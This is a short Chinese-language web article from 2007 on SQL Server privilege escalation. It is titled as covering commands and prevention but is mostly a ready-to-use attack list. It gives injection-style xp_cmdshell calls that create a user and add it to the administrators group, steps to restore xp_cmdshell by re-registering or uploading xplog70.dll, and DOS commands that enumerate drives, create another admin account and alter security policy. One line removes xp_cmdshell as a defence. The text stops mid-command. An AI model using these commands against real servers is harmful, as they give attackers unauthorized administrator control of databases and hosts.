SQLServer提升权限相关命令及防范
文章作者 100test 发表时间 2007:11:28 11:18:25
来源 100Test.Com百考试题网
.exec master..xp_cmdshell "net user name password /add"--
.exec master..xp_cmdshell "net localgroup administrators name /add"--
程序代码开启cmdshell的sql语句
exec sp_addextendedproc xp_cmdshell ,@dllname = xplog70.dll
判断存储扩展是否存在
0select count(*) from master.dbo.sysobjects where xtype= x and name= xp_cmdshell
返回结果为1就ok
恢复xp_cmdshell
exec master.dbo.addextendedproc xp_cmdshell , xplog70.dll .0select count(*) from master.dbo.sysobjects where xtype= x and name= xp_cmdshell
返回结果为1就ok
否则上传xplog7.0.dll
exec master.dbo.addextendedproc xp_cmdshell , c:/winnt/system32/xplog70.dll
堵上cmdshell的sql语句
sp_0dropextendedproc "xp_cmdshell"
dos:
dir c:/
dir d:/
dir e:/
net user tsinternetusers password /add
net localgroup administrators tsinternetusers /add
备份恢复ipsec
secedit /export /cfg c:/tmp.inf
echo sedenynetworklogonright =>>
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